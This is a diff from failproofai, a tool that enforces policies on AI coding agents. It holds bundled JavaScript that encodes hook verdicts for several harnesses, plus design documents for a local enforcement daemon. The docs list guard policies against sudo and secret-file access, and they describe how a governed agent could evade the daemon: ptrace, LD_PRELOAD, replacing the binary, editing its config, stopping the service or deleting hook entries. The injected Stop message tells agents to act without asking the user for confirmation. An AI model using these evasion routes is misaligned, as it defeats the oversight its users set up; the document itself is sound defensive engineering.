0, + stdout: JSON.stringify({ permission: "deny", reason: reasonText }), + stderr: "", + policyName: policyNames[0], + policyNames, + reason: combined, + decision: "instruct" + }; + } + const stderrMsg = instructEntries.map((e) => `[failproofai] ${e.policyName}: ${e.reason}`).join(` +`); + return { + exitCode: 0, + stdout: JSON.stringify({ + permission: "allow", + reason: `Instruction from failproofai: ${combined}` + }), + stderr: stderrMsg + ` +`, + policyName: policyNames[0], + policyNames, + reason: combined, + decision: "instruct" + }; + } + if (session?.cli === "opencode") { + if (eventType === "Stop" || eventType === "SubagentStop") { + const policyAttribution = policyNames.length === 1 ? `policy: ${policyNames[0]}` : `policies: ${policyNames.join(", ")}`; + const reasonText = `MANDATORY ACTION REQUIRED from failproofai (${policyAttribution}): ${combined} + +You MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.`; + return { + exitCode: 0, + stdout: JSON.stringify({ hookSpecificOutput: { additionalContext: reasonText } }), + stderr: "", + policyName: policyNames[0], + policyNames, + reason: combined, + decision: "instruct" + }; + } + } + if (session?.cli === "factory") { + if (eventType === "Stop") { + const policyAttribution = policyNames.length === 1 ? `policy: ${policyNames[0]}` : `policies: ${policyNames.join(", ")}`; + const reasonText = `MANDATORY ACTION REQUIRED from failproofai (${policyAttribution}): ${combined} + +You MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.`; + return { + exitCode: 0, + stdout: JSON.stringify({ decision: "block", reason: reasonText }), + stderr: "", + policyName: policyNames[0], + policyNames, + reason: combined, + decision: "instruct" + }; + } + const stderrMsg = instructEntries.map((e) => `[failproofai] ${e.policyName}: ${e.reason}`).join(` +`); + return { + exitCode: 0, + stdout: "", + stderr: stderrMsg + ` +`, + policyName: policyNames[0], + policyNames, + reason: combined, + decision: "instruct" + }; + } + if (session?.cli === "devin" && eventType === "Stop") { + const policyAttribution = policyNames.length === 1 ? `policy: ${policyNames[0]}` : `policies: ${policyNames.join(", ")}`; + const reasonText = `MANDATORY ACTION REQUIRED from failproofai (${policyAttribution}): ${combined} + +You MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.`; + return { + exitCode: 0, + stdout: JSON.stringify({ decision: "block", reason: reasonText }), + stderr: "", + policyName: policyNames[0], + policyNames, + reason: combined, + decision: "instruct" + }; + } + if (session?.cli === "antigravity") { + if (eventType === "UserPromptSubmit") { + return { + exitCode: 0, + stdout: JSON.stringify({ + injectSteps: [{ ephemeralMessage: `Instruction from failproofai: ${combined}` }] + }), + stderr: "", + policyName: policyNames[0], + policyNames, + reason: combined, + decision: "instruct" + }; + } + if (eventType === "Stop") { + const policyAttribution = policyNames.length === 1 ? `policy: ${policyNames[0]}` : `policies: ${policyNames.join(", ")}`; + const reasonText = `MANDATORY ACTION REQUIRED from failproofai (${policyAttribution}): ${combined} + +You MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.`; + return { + exitCode: 0, + stdout: JSON.stringify({ decision: "continue", reason: reasonText }), + stderr: "", + policyName: policyNames[0], + policyNames, + reason: combined, + decision: "instruct" + }; + } + const stderrMsg = instructEntries.map((e) => `[failproofai] ${e.policyName}: ${e.reason}`).join(` +`); + return { + exitCode: 0, + stdout: "", + stderr: stderrMsg + ` +`, + policyName: policyNames[0], + policyNames, + reason: combined, + decision: "instruct" + }; + } + if (session?.cli === "goose") { + const stderrMsg = instructEntries.map((e) => `[failproofai] ${e.policyName}: ${e.reason}`).join(` +`); + return { + exitCode: 0, + stdout: "", + stderr: stderrMsg + ` +`, + policyName: policyNames[0], + policyNames, + reason: combined, + decision: "instruct" + }; + } + if (eventType === "Stop" || eventType === "SubagentStop") { + const policyAttribution = policyNames.length === 1 ? `policy: ${policyNames[0]}` : `policies: ${policyNames.join(", ")}`; + const reasonText = `MANDATORY ACTION REQUIRED from failproofai (${policyAttribution}): ${combined} + +You MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.`; + if (session?.cli === "copilot") { + return { + exitCode: 0, + stdout: JSON.stringify({ decision: "block", reason: reasonText }), + stderr: "", + policyName: policyNames[0], + policyNames, + reason: combined, + decision: "instruct" + }; + } + return { + exitCode: 2, + stdout: "", + stderr: reasonText, + policyName: policyNames[0], + policyNames, + reason: combined, + decision: "instruct" + }; + } + const response = { + hookSpecificOutput: { + hookEventName: eventType, + additionalContext: `Instruction from failproofai: ${combined}` + } + }; + return { + exitCode: 0, + stdout: JSON.stringify(response), + stderr: "", + policyName: policyNames[0], + policyNames, + reason: combined, + decision: "instruct" + }; + } + if (allowEntries.length > 0) { + const combined = allowEntries.map((e) => e.reason).join(` +`); + const policyNames = allowEntries.map((e) => e.policyName); + if (session?.cli === "cursor") { + const response = { + permission: "allow", + additional_context: `Note from failproofai: ${combined}` + }; + const stderrMsg2 = allowEntries.map((e) => `[failproofai] ${e.policyName}: ${e.reason}`).join(` +`); + return { + exitCode: 0, + stdout: JSON.stringify(response), + stderr: stderrMsg2 + ` +`, + policyName: policyNames[0], + policyNames, + reason: combined, + decision: "allow" + }; + } + if (session?.cli === "pi") { + const response = { + permission: "allow", + reason: `Note from failproofai: ${combined}` + }; + const stderrMsg2 = allowEntries.map((e) => `[failproofai] ${e.policyName}: ${e.reason}`).join(` +`); + return { + exitCode: 0, + stdout: JSON.stringify(response), + stderr: stderrMsg2 + ` +`, + policyName: policyNames[0], + policyNames, + reason: combined, + decision: "allow" + }; + } + if (session?.cli === "openclaw") { + const stderrMsg2 = allowEntries.map((e) => `[failproofai] ${e.policyName}: ${e.reason}`).join(` +`); + return { + exitCode: 0, + stdout: JSON.stringify({ + permission: "allow", + reason: `Note from failproofai: ${combined}` + }), + stderr: stderrMsg2 + ` +`, + policyName: policyNames[0], + policyNames, + reason: combined, + decision: "allow" + }; + } + const supportsHookSpecificOutput = eventType === "PreToolUse" || eventType === "PostToolUse" || eventType === "UserPromptSubmit" || eventType === "PermissionRequest"; + const stderrMsg = allowEntries.map((e) => `[failproofai] ${e.policyName}: ${e.reason}`).join(` +`); + if (supportsHookSpecificOutput) { + const response = { hookSpecificOutput: { hookEventName: eventType, additionalContext: `Note from failproofai: ${combined}` } }; + return { exitCode: 0, stdout: JSON.stringify(response), stderr: stderrMsg + ` +`, policyName: policyNames[0], policyNames, reason: combined, decision: "allow" }; + } + return { exitCode: 0, stdout: "", stderr: stderrMsg + ` +`, policyName: policyNames[0], policyNames, reason: combined, decision: "allow" }; + } + return { exitCode: 0, stdout: "", stderr: "", policyName: null, reason: null, decision: "allow" }; + } + + // src/policy-runtime/sealed-entry.ts + var SEALED_ELIGIBLE = new Set(PAYLOAD_ONLY_POLICIES.map((p) => p.name)); + var SEALED_ELIGIBLE_CANONICAL = new Set(PAYLOAD_ONLY_POLICIES.map((p) => `failproofai/${p.name}`)); + function partitionEnabled(enabled) { + const sealed = []; + const needsUserContext = []; + for (const name of enabled) { + if (SEALED_ELIGIBLE.has(name) || SEALED_ELIGIBLE_CANONICAL.has(name)) + sealed.push(name); + else + needsUserContext.push(name); + } + return { sealed, needsUserContext }; + } + async function evaluate(request) { + try { + const { sealed, needsUserContext } = partitionEnabled(request.config.enabledPolicies ?? []); + clearPolicies(); + registerBuiltinPolicies(sealed); + setHostContextFallback({ + home: () => "", + projectDir: () => { + return; + } + }); + setPolicyWarnSink(() => {}); + const verdicts = await evaluateVerdicts(request.eventType, request.payload, request.session, request.config); + const result = encodeResponse(verdicts, request.eventType, request.session); + return { + ok: true, + result, + needsUserContext, + readClientAssertedHost: Boolean(request.session.cwd || request.session.projectDir) + }; + } catch (err) { + return { + ok: false, + error: err instanceof Error ? err.message : String(err), + stack: err instanceof Error ? err.stack : undefined + }; + } + } + function sealedPolicyNames() { + return [...SEALED_ELIGIBLE]; + } + function installSealedGlobals() { + globalThis.__fpai_sealed_evaluate = async (requestJson) => { + let request; + try { + request = JSON.parse(requestJson); + } catch (err) { + return JSON.stringify({ + ok: false, + error: `sealed worker: request is not valid JSON: ${err instanceof Error ? err.message : String(err)}` + }); + } + return JSON.stringify(await evaluate(request)); + }; + globalThis.__fpai_sealed_policies = () => JSON.stringify(sealedPolicyNames()); + globalThis.__fpai_sealed_version = "1"; + } + installSealedGlobals(); +})(); diff --git a/desgin-docs/v1.0.0/README.md b/desgin-docs/v1.0.0/README.md new file mode 100644 index 00000000..de44d054 --- /dev/null +++ b/desgin-docs/v1.0.0/README.md @@ -0,0 +1,18 @@ +# failproofai v1.0.0 design documents + +This directory contains checked-in design documents for the next major version of failproofai. + +The work is split into two phases along one line: **Phase 1 is the product as it ships today, re-architected. Phase 2 is what does not exist yet.** + +## Documents + +- [Phase 1 — local enforcement plane](./phase-1-local-enforcement/) — the `failproofaid` daemon, harness integration, execution tiers, service and schema updates, the local dashboard, the full `agenteye-collector` including delivery, delivery plan, and npm distribution. +- [Phase 2 — cloud management plane](./phase-2-cloud/) — machine enrollment into Failproof Cloud, centrally assigned policy, targeting, fleet health, and staged rollout. + +## Why the split + +Phase 1 answers "can an agent be prevented from doing this on my machine, can it undo the prevention, and can I see what it did?" All of that is answerable with the machine and the customer's own infrastructure. Everything currently shipped belongs here — including capture and delivery, which needs no FailproofAI account because it targets a self-hosted server with an operator-issued key. + +Phase 2 answers "can one team manage that across a fleet?" That needs a machine identity in Failproof Cloud, which is genuinely new. It is additive by construction: a machine that never enrolls must behave exactly as it did under Phase 1, capture and delivery included. Phase 1 therefore leaves contract-shaped room — a canonical location-independent request/result model, end-to-end deadlines, stable decision identity, bounded lanes, a versioned health snapshot, one spool — and adds no configuration key, client, or user-visible setting for the phase that follows it. + +The test for which phase something belongs to is whether a customer can already do it today. If yes, it is Phase 1 regardless of whether it touches a network or a credential. diff --git a/desgin-docs/v1.0.0/phase-1-local-enforcement/01-user-experience.md b/desgin-docs/v1.0.0/phase-1-local-enforcement/01-user-experience.md new file mode 100644 index 00000000..391bb4b1 --- /dev/null +++ b/desgin-docs/v1.0.0/phase-1-local-enforcement/01-user-experience.md @@ -0,0 +1,374 @@ +# User experience + +## Product promise + +A user installs FailproofAI once, as themselves, on a machine they may not administer. From then on: + +- `failproofaid` starts when they log in; +- supported agent harnesses send events to the local daemon; +- builtin and user-authored policies work locally with no account and no network connection; +- session data is captured and delivered to the configured observability server when enabled, and is visible in local activity, audits, and the local dashboard; +- service, policy, capture, and delivery health are always visible locally; +- hook registrations automatically track supported harness schema changes without replacing the daemon binary. + +The user should not need to understand hooks, service managers, sockets, transcript formats, or collector processes. + +Phase 1 is complete and shippable on its own: it is the product as it ships today, re-architected around the daemon. Nothing here needs a FailproofAI account, an organization, or administrator access, and no policy decision depends on a network service. Where the current product already has credentials they are carried over unchanged, not reinvented — `failproofai auth login` keeps working as it does now, and capture delivers to the customer's own self-hosted observability server with the operator-issued `events:add` key it already uses. + +Phase 2 is the genuinely new management plane — machine enrollment into Failproof Cloud, centrally assigned policy, targeting, fleet health, and staged rollout. It is described in [the Phase 2 documents](../phase-2-cloud/README.md) and absent from this one. + +## Compatibility promise + +Phase 1 is an architectural upgrade, not a rewrite. Everything a user can do with the current OSS release remains possible: + +- enable and configure builtin policies; +- author JavaScript/TypeScript custom policies using the existing public API; +- load one or more explicit custom policy files; +- discover `*policies.{js,mjs,ts}` files from project and user `.failproofai/policies/` directories; +- use user, project, and local configuration scopes supported by each harness; +- install, list, enable, disable, and uninstall policies from the CLI; +- enforce across every currently supported agent harness with the same observable result contract; +- retain transitive local imports and supported package imports in custom policy files; +- inspect local activity, sessions, policy state, and the local dashboard; +- capture Codex, OpenClaw, Hermes, and Claude Code sessions and deliver them to a self-hosted observability server, with backfill, exactly-once delivery across restarts, and `health`; +- run local audits and use the product offline. + +These behaviors need compatibility fixtures before the daemon becomes the default. A feature is not considered migrated merely because a different workflow reaches a similar result. + +The promise is unqualified this time. Installation needs no administrator access, no service account, and no elevation, so there is no machine on which the current release works and Phase 1 does not. + +The standalone `agenteye-collector` moves into the daemon here rather than later, because it is shipped behavior and this promise covers it. [Collector integration](./05-collector-integration.md) describes the takeover, which preserves pending and failed batches in place until `failproofaid` proves ownership and delivery health, and which is reversible for a defined window. + +## Two programs, and what runs when + +The runtime surface is two programs, and it is worth stating as a checkable property rather than leaving it to be inferred: + +| Program | Lifetime | Started by | +|---|---|---| +| `failproofaid` | resident, one per logged-in user | the user's own service manager at login, or `failproofai service start` | +| `failproofai` | transient | the user, and the harness once per hook event | + +That is the whole accounting. There is no per-user agent, no collector process, no dashboard service, and no privileged helper. + +The CLI wears three hats and stays one program in all of them. As `failproofai hook …` it is the harness-facing client: spawned by the *harness* per event, holding no state, exiting after one request. That per-event process is not a third program of ours — it is the harness invoking our CLI, exactly as it invokes `npx -y failproofai` today. As `failproofai dashboard start` it is the dashboard: the listener lives in that CLI invocation and dies with it. As everything else it is the ordinary command-line tool. + +The one place a fourth process appears is inside a CLI invocation's own lifetime: serving the bundled dashboard, or evaluating a `user-context` policy, may run the shipped policy runtime as a child. Those children are owned by the invocation that spawned them, terminate with it, and are never registered with a service manager or restarted by anything. Nothing supervises them, so nothing has to be uninstalled when they are gone. + +## Installation + +### Primary path + +The single supported installation entry point remains: + +```sh +npx failproofai@latest setup +``` + +The npm package uses npm integrity and trusted-publishing provenance for bootstrap trust. It downloads and independently verifies the signed native release, installs `failproofai` and `failproofaid` into a stable versioned directory under the user's own tree, and hands control to the native setup flow. It declares no install lifecycle script; all machine changes occur during explicit `setup`. + +Homebrew, shell installers, direct-download installation, containers, mirrors, and offline bundles are outside distribution scope. Windows is also not a Phase 1 daemon target. The npm bootstrapper detects it before downloading or modifying anything and explains that support is planned for a later iteration. + +The npm bootstrap and native artifact design is in [npm release and distribution](./07-release-and-packaging.md). + +### One scope, and it is the user's + +Everything installs and runs as the invoking user. There is no scope question in setup, because there is nothing to choose between: the daemon is the user's, its configuration is `.failproofai` in user scope, its state is under `~/.failproofai/` and `~/.agenteye/`, and its service definition is a systemd user unit or a LaunchAgent. Setup never asks for elevation, never writes outside the user's tree, and works identically on a machine where the user has no administrator access at all. + +A `managed` scope running as a dedicated service account and a root-owned `system` scope are designed and deliberately unshipped. Their layouts and the exact guarantee each one gains are recorded in [deferred scopes](./04-service-and-updates.md#deferred-scopes) so either can be added when a customer needs it. Neither is a fallback setup may select on its own, and neither is implied by anything in this release. + +### Setup flow + +`failproofai setup` performs these steps: + +1. **Preflight** — detect the OS, architecture, service-manager availability, supported agent harnesses, existing FailproofAI hooks, and an existing `agenteye-collector` installation. Nothing here can refuse the install; a missing service manager is a reported degradation, not a stop. +2. **Choose integrations** — show detected harnesses and let the user enable enforcement for each one, reporting the attachment level each one can actually reach. Existing hooks are migrated rather than duplicated. +3. **Choose policies** — preserve current builtin selection and custom/convention policy discovery. +4. **Choose observability** — explain which session sources can be captured and exactly where their data goes: on-machine only, or also delivered to a self-hosted observability server the user names along with its `events:add` key. Require explicit selection before any transcript is read, and default to capturing nothing. +5. **Install the service** — write configuration and the delivery key under the user's tree, register the user service, start it, and wait for IPC readiness. An existing `agenteye-collector` is taken over rather than duplicated. +6. **Verify end to end** — run a harmless synthetic hook request and verify every enabled capability, including source progress and, when a destination is configured, a delivery round trip. +7. **Report completion** — show the service state, enabled harnesses, local policy state, capture sources, delivery health, and how to open the local dashboard. + +Setup is transactional. If a later step fails, it restores the previous harness configuration, collector ownership, and service state. Re-running setup converges the same installation rather than creating a second service or a duplicate hook. It never leaves half-installed hooks pointing at a missing daemon, and never leaves two capture owners on one source. + +### When there is no service manager + +systemd and launchd are how the daemon starts at login and restarts after a crash, and one of them is present on essentially every developer machine. Where neither is — a bare container, a stripped image, an `ssh` session on a host with no user session bus — setup does not refuse. It completes, starts the daemon directly, and reports it as `unsupervised` in health, which means exactly what it says: the daemon is running, and nothing will restart it or bring it back at next login. `failproofai service start` is then the way to start it again. + +That is a tolerable degradation rather than a hole, because an unreachable daemon is not lost enforcement. The hook client falls back to the in-process evaluator, which is the code path shipping today and carries the same authority as the daemon; the cost is the per-event process start and the sandbox, not the decision. + +### CLI presentation + +The new setup steps reuse the current polished `failproofai config` wizard rather than introducing a second installer UI: + +- the existing FailproofAI logomark and pink/teal palette; +- keyboard navigation with a visible `❯` active row; +- descriptions aligned beside or beneath each choice; +- a persistent step spine and compact summaries for completed steps; +- terminal-width-aware wrapping and the existing ANSI fallback; +- a final review showing the exact service, harness files, policy configuration, capture sources, and delivery destination that will change; +- Enter to confirm and a clear cancellation path that writes nothing. + +The final review should read approximately: + +```text +◆ Review + + Service systemd user service, starts when you log in + Installs to ~/.failproofai (binaries, policies, state) + ~/.agenteye (capture state, spool, delivery key) + Harnesses claude, codex — hooks added to your own settings files + Policies 11 builtin, 1 custom (./company-policies.mjs) + Capture codex → https://agenteye.internal + Privileges none, now or ever + + ❯ Apply + Cancel +``` + +Nothing in this flow requests elevation, and the review names every place it writes: the two directories, the harness settings files, and the service definition in the user's own service-manager directory. + +### Non-interactive installation + +Automation uses the same operation with structured inputs: + +```sh +failproofai setup \ + --non-interactive \ + --harness claude --harness codex \ + --capture codex \ + --observability-url https://agenteye.internal \ + --observability-key "$EVENTS_ADD_KEY" +``` + +The command returns machine-readable failure codes and supports `--json`. Re-running it converges the installation to the requested state instead of creating duplicate services or hooks. The delivery key is read from the environment or a file, written to the user's own configuration, and never appears in the generated service definition or in process arguments. + +`--service-scope` remains accepted and optional, with `user` as its only valid value. It exists so automation written now keeps working unchanged when a deferred scope ships, and so a script that states its intent explicitly is not silently reinterpreted later. Passing `managed` or `system` is a hard error naming them as deferred, never a silent substitution. + +### The user service + +The service is a systemd user service on Linux or a LaunchAgent on macOS, running as the user who installed it. It starts at login rather than at boot, and it serves exactly one user: its owner. + +On a shared machine that means one daemon per user who installed one, each with its own socket, its own state, and its own policies. The socket is peer-credentialed and refuses any peer that is not its owner — not as a privilege boundary, since the owner is the only one who could gain anything by connecting, but because two users' daemons must never answer for each other's events. + +A systemd user service stops when the user's last session ends and starts again at the next login. For an interactive machine that is the correct behavior. For a host where agents run without an interactive session — a build box driven over `ssh`, a cron-driven agent — the user enables `loginctl enable-linger` once, and setup says so rather than leaving the daemon mysteriously absent. macOS LaunchAgents have the equivalent constraint by construction: they run in the user's GUI/login session. + +Nothing about this installation is protected from the user who owns it, and nothing in the product says otherwise. The daemon runs as them, its binaries sit in a directory they own, and its configuration is a file they can edit. That is the deliberate shape of this release, and [where policies execute](#where-policies-execute) states exactly what the architecture buys instead. + +#### Adding, removing, and enabling a policy are all unprivileged + +There is no privileged policy administration, because there is no privileged surface. A user installs, enables, disables, parameterizes, and removes any policy — builtin, explicit, or convention-discovered — with no elevation and no audit gate. + +What survives from the previous design is the *semantics*, which were always independent of privilege: results combine as `deny` over `instruct` over `allow` with no suppression, so adding a policy can only make enforcement stricter, and the merge across project, local, and user configuration works exactly as it does today. Convention discovery under `.failproofai/policies/` is unchanged. + +Enablement is likewise ordinary configuration: `.failproofai/policies-config.json` merged across project, local, and user scope, which is what the product reads today and what the daemon evaluates. It is authoritative, and it is the user's. + +#### Where policies execute + +Evaluation is split into two tiers by what a policy's resolved imports need: + +| Tier | Runs in | Filesystem, subprocess, network | +|---|---|---| +| `sealed` | the daemon's own embedded engine | absent — no bindings are registered at all | +| `user-context` | a worker the daemon spawns | granted, with the user's own authority | + +The names describe capability, not identity: both run as the same user, and the daemon does not need to `setuid` to anything. Resolved against the real import graph, 32 of the 39 builtins are `sealed` — `block-sudo`, `block-env-files`, and `block-secrets-write` among them — because tool name, command, file path, and old/new content already arrive in the hook payload. The seven that are not are `warn-repeated-tool-calls`, `block-work-on-main`, and the five `require-*-before-stop` policies, each of which reads the repository or runs `git`. + +**The split is not a verdict-integrity mechanism, and this release does not have one.** The agent being governed runs as the same user as the daemon evaluating its events. It can `ptrace` that daemon, `LD_PRELOAD` into it, replace the binary on disk, edit `policies-config.json`, or stop the service. No arrangement of processes owned by one user protects that user's processes from each other, and nothing in the product — health output, `policies explain`, the dashboard, the documentation — may say or imply that it does. + +Four things the tier does buy, all of them real and none of them adversarial: + +- **A warm evaluator.** Today every tool call spawns a fresh Node or bun process that re-reads configuration and re-imports every policy file. The sealed engine is already loaded when the event arrives. +- **No temp files beside the user's source.** The current dynamic-import path writes a `.__failproofai_tmp__.mjs` next to the policy file on *every tool call*. The sealed tier resolves from a compiled module map and writes nothing. +- **A deadline that is actually enforced.** A synchronous policy body cannot be interrupted by checking a clock between microtasks; it needs an out-of-band watchdog. There is one, it is armed before the runtime is entered, and it exists because a default-enabled policy's backtracking regex wedged the enforcement lane for 30 seconds against a 200 ms deadline before it was added. +- **A blast radius for mistakes.** The sealed context registers no filesystem, process, or network bindings, so a policy that reaches for one gets a `ReferenceError` — a visible evaluation failure that trips a circuit breaker — instead of quietly doing something its author did not intend on a developer's machine. That contains a buggy or over-reaching policy. It does not contain a hostile one, because a hostile author would simply write a `user-context` policy instead. + +The distinction between those two sentences is the whole point. Containing mistakes is worth building; claiming it contains adversaries would be false. A [deferred scope](./04-service-and-updates.md#deferred-scopes) is what would make the stronger claim true, and adding one is the only thing that would. + +**A policy's own declaration is still not the routing input.** Admission derives the requirement from the resolved import graph rather than a manifest, and the `sealed` context is deny-by-default, so a policy that under-declares fails inside the tier rather than escaping it. That matters for a plain engineering reason now: an author who believes their policy is payload-only and is wrong should find out at admission, not by watching enforcement behave differently in production. Native addons cannot be inlined into the compiled artifact and are therefore always `user-context`. + +Policy provenance, resolved capabilities, and execution tier are recorded with every decision, and `policies explain` reports the tier so nobody has to infer it. + +#### Endpoint and attachment + +Only one endpoint handles a given user's harness hooks. Setup detects an existing FailproofAI installation — a legacy hook-only install pointing at `npx failproofai`, or a previous daemon — and offers an explicit transactional switch; it does not register duplicate hooks or let two evaluators race. + +The final review reports each harness as `detectable` or `cooperative`. **`protected` is not reachable in this release and the label is not used.** Every harness settings file this installation writes is a file the governed user owns, so the daemon can watch it, notice a removed or altered FailproofAI entry, and restore it — which genuinely repairs a harness upgrade that dropped a hook, or an accidental edit — but cannot prevent the removal. Reporting repair as prevention is forbidden. A registration the governed user cannot write requires a machine-level hook, a mandatory plugin, or an enforced launcher path, all of which need a [deferred scope](./04-service-and-updates.md#deferred-scopes). + +## Policy authoring + +Users keep the current authoring workflow: + +```sh +failproofai policies --install block-sudo --scope user +failproofai policies --install --custom ./company-policies.mjs +``` + +They may also place convention policies in `.failproofai/policies/` at project or user scope. The daemon watches and atomically reloads them, while invalid changes retain the last known-good generation and appear in local health. + +Authoring is unprivileged, and dependencies are the author's own. A policy is developed with the normal npm workflow: + +```sh +npm install @octokit/rest +failproofai policies --install ./gh-policy.mjs +``` + +Installing a policy admits it: admission resolves its full import graph and compiles it into a single content-addressed artifact under the user's state directory, so one digest covers the policy and every dependency, evaluation resolves nothing from a mutable path, and the decision record names exactly what ran. That is a determinism and evidence mechanism rather than a protection one — it is what lets `policies explain` say which bytes produced a verdict, and what lets the sealed loader be a map lookup that cannot reach a filesystem it has no binding for. + +Native `.node` addons cannot be inlined; admission copies them alongside the artifact with their digests pinned and routes the policy to `user-context`. + +No account, API key, or network connection is required. Policy source code, configuration, activity, and local dashboard data remain on the machine. + +## Local CLI + +The CLI manages and diagnoses the product; it does not become a second implementation of daemon behavior. + +```text +failproofai status # service-manager state and concise health +failproofai health [--json] # detailed subsystem health +failproofai service start|stop|restart +failproofai service logs [--follow] +failproofai harness list +failproofai harness enable +failproofai harness disable +failproofai policies list +failproofai policies reload +failproofai policies explain --session +failproofai collector status +failproofai collector flush +failproofai harness schemas status +failproofai harness schemas refresh +failproofai dashboard start [--ttl ] +failproofai dashboard stop +failproofai dashboard status +failproofai doctor +``` + +`policies explain` shows the effective policies for a target, their source and scope, the precedence calculation, active revision, resolved capabilities, execution tier, and why an expected policy did or did not apply. A policy that landed in the `user-context` tier says which resolved import put it there, so an author who expected it to run in the sandbox finds out at install time rather than after a slow hook. + +It also reports the decision's attestation, which is not the same thing as its tier. A policy that ran `sealed` but read the working directory, the project directory, or an environment fact took a value the daemon cannot derive and the client asserts, so its decision is reported `sealed_unattested` rather than `sealed`. In this release that is provenance rather than an integrity claim — it says what the decision depended on, which is what makes a surprising verdict diagnosable. [Derived and asserted context](./03-daemon-architecture.md#derived-and-asserted-context) explains which fields those are. + +`doctor` performs read-only checks by default: executable layout, service registration, endpoint ownership, protocol compatibility, policy generation, source permissions, spool health, and harness/schema compatibility. Any repair beyond automatic restoration of enabled FailproofAI hook entries requires an explicit flag or confirmation. + +## Local dashboard + +The local dashboard survives unchanged as a product surface, but it needs an explicit access model, because a browser cannot speak the daemon's Unix socket and a TCP listener carries no peer credentials. + +**The dashboard is the CLI in dashboard mode, not a service.** `failproofai dashboard start` binds the listener inside that CLI invocation and holds it for its TTL; the daemon is only a data source reached over the existing socket, and has no dashboard concept at all. Peer credentials then scope every read with no new mechanism: the daemon cannot tell a dashboard request from any other client, and does not need to. + +A pidfile in the user's runtime directory records the running instance, its port, and its expiry, which is what `stop` and `status` read and what makes a second `start` reattach instead of binding a second server. + +### Listener + +The listener binds loopback only, on an ephemeral port rather than a fixed one — a fixed port collides the moment two users are logged into the same machine. `start` prints the URL and opens it. + +Access requires a capability token minted at launch, carried in a request header or a `SameSite=Strict` cookie rather than the query string, where it would leak through `Referer`. Requests are rejected unless `Origin` and `Host` match the bound listener, and no endpoint changes state on `GET`. Both rules exist because any page the user visits can issue requests to a localhost port; neither the token nor loopback binding is sufficient alone. They defend against a *web page the user happens to open*, which is a different party from the user's own agent, and that is why they are still worth having. + +An agent running as the user can read that token. It already holds that user's authority, so this changes nothing. + +### Lifetime + +The dashboard is on-demand — a UI people open occasionally should not be an idle listener, and making it a service would add a third program to a release whose whole shape is two. It stops on `failproofai dashboard stop`, when its terminal exits, and when its TTL expires, default 30 minutes and overridable with `--ttl`. Expiry closes the listener and invalidates the token; the pidfile is removed on every path, including expiry, so `status` never reports a server that is gone. + +### Reads and writes + +Reads use the daemon's `Query` operations and return the caller's activity, sessions, transcripts, and policy state. + +Writes are ordinary. Toggles and parameters change the user's own configuration directly, with no elevation and no second class of policy, because there is no privileged policy surface for the dashboard to gate. Whether a toggle writes the configuration file directly or goes through a daemon operation is [open decision #13](./06-delivery-plan.md#open-decisions) — a correctness question about keeping one merge implementation, not a permission question. + +## Status and health + +`status` answers whether the service manager believes the daemon is installed and running. `health` answers whether the product is working. + +The default health view reports independently: + +- daemon and IPC readiness, and whether the daemon is supervised by a service manager or running unsupervised; +- active local policy generation and last reload result; +- policy counts by execution tier; +- enabled harnesses and their last event; +- hook registration state, last verification/repair, and persistent alteration alerts; +- enabled capture sources and checkpoint progress; +- pending, retrying, and quarantined delivery data, and the age of the oldest unacknowledged batch; +- disk or memory pressure; +- detected harness versions, active schema generation, and unsupported or binary-update-required adapters. + +A process can be running while policy reload, capture, or delivery is unhealthy. The UI must never collapse these into one green status. Delivery reports `not_configured` when no destination is set, which is a state rather than a warning. + +Health reports tier counts as a description of where evaluation happens, never as a security score. No health field, badge, or summary line asserts tamper resistance, and none may be added. + +## Offline behavior + +The daemon loads verified local policy before accepting events, and hook decisions make no network request. Once installed, the product has no management-plane dependency and enforces indefinitely offline. The only network activity is the periodic signed harness schema-catalog refresh, whose failure degrades nothing but catalog freshness, and delivery to the configured observability server when one is set. + +Policy status shows the active revision and its last successful reload. + +Capture continues into a bounded durable spool while the destination is unreachable. Delivery resumes automatically, and enforcement never waits for the spool or the server. + +## Harness compatibility updates + +The daemon refreshes a signed declarative harness schema catalog with jitter. It detects each installed harness version, selects the most specific compatible hook schema, and automatically reconciles the settings file. A bad catalog generation or failed hook validation restores the previous schema and registration. + +The catalog cannot contain executable code or replace native binaries. When a schema requires capabilities missing from the installed daemon or hook client, health reports `binary_update_required`; the user explicitly reruns `npx failproofai@latest setup`. Offline installations continue using their bundled or pinned catalog. + +## Failure experience + +Errors should name the affected capability and current safety behavior: + +```text +Enforcement: healthy — generation 184 active +Policy reload: failed — company-policies.mjs:12; generation 184 remains enforced +Codex capture: degraded — transcript path is not readable +Delivery: retrying — 23 batches pending; oldest 4m +Codex hooks: repaired — schema codex/1.4 for harness 1.2.3 +``` + +The daemon-unavailable behavior is explicit and mild: the hook client evaluates in process, exactly as the current release does, and records the degradation. Later releases may apply a configured per-integration failure mode, but the default is not a gap — it is the evaluator this product ships today. Stop-class integrations receive special handling to prevent retry loops. + +## Uninstall and data ownership + +`failproofai uninstall`: + +1. disables installed harness integrations; +2. stops and removes the user service; +3. removes installed executables, the pinned policy runtime, and harness schema-catalog state; +4. securely erases the configured delivery key; +5. preserves local policy files, logs, activity, pending events, and non-secret configuration by default. + +Step 4 is unconditional and separate from step 5, because a delivery key is a credential rather than configuration: an uninstall performed offline must leave nothing on disk that could still authenticate to the observability server. + +Uninstall touches only the invoking user's tree. On a shared machine another user's installation is untouched, and there is no shared state and no account to remove. + +`--purge` additionally removes retained local state after showing exactly which directories and undelivered records will be deleted. + +Taking over from the standalone collector preserves pending and failed batches until `failproofaid` proves ownership and delivery health. Uninstall during the rollback window must be able to restore the old collector rather than strand its data. + +## UX acceptance criteria + +- A user with no administrator access, on a machine where `sudo` is absent, reaches a healthy daemon and one enforced synthetic hook through one setup command without a FailproofAI account, and can then enforce entirely offline. Installation itself requires network access, since npm bootstrap is the only supported distribution path. +- Setup writes nothing outside `~/.failproofai/`, `~/.agenteye/`, the user's service-manager directory, and the harness settings files it was asked to change — asserted by a filesystem diff, including the absence of anything under `/opt`, `/var/lib`, `/etc`, and `/Library`. +- Setup never invokes `sudo`, and the shipped release contains no code path that does. +- No policy decision depends on a network service, and a machine with no observability destination configured spools nothing and delivers nowhere. +- Every capability the standalone `agenteye-collector` ships today — capture across its supported 